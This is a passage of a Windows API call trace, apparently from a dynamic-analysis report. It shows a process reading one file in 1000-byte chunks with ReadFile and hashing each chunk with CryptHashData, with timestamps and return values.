lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.109] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.109] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.109] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.109] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.109] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.109] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.109] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.109] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.109] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.109] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.109] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.109] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.109] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.110] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.110] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.110] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.110] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.110] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.110] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.110] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.110] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.110] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.110] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.110] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.110] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.110] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.110] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.110] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.110] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.111] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.111] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.111] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.111] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.111] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.111] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.111] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.111] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.111] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.111] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.111] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.111] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.111] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.111] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.111] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.112] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.112] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.112] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.112] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.112] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.112] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.112] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.112] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.112] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.112] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.112] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.112] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.112] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.112] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.112] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.112] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.113] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.113] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.113] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.113] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.113] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.113] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.113] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.113] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.113] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.113] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.113] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.113] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.113] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.113] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.113] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.113] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.113] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.113] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.114] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.114] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.114] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.114] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.114] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.114] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.114] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.114] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.114] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.114] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.114] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.114] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.114] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.114] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.114] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.117] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.117] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.117] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.117] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.117] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.117] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.117] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.117] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.117] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.117] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.118] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.118] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.118] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.118] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.118] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.118] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.118] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.118] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.118] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.118] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.118] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.118] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.118] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.118] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.118] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.118] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.118] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.119] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.119] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.119] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.119] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.119] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.119] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.119] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.119] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.119] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.119] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.119] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.119] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.119] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.119] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.119] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.119] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.119] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.120] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.120] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.120] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.120] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.120] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.120] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.120] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, 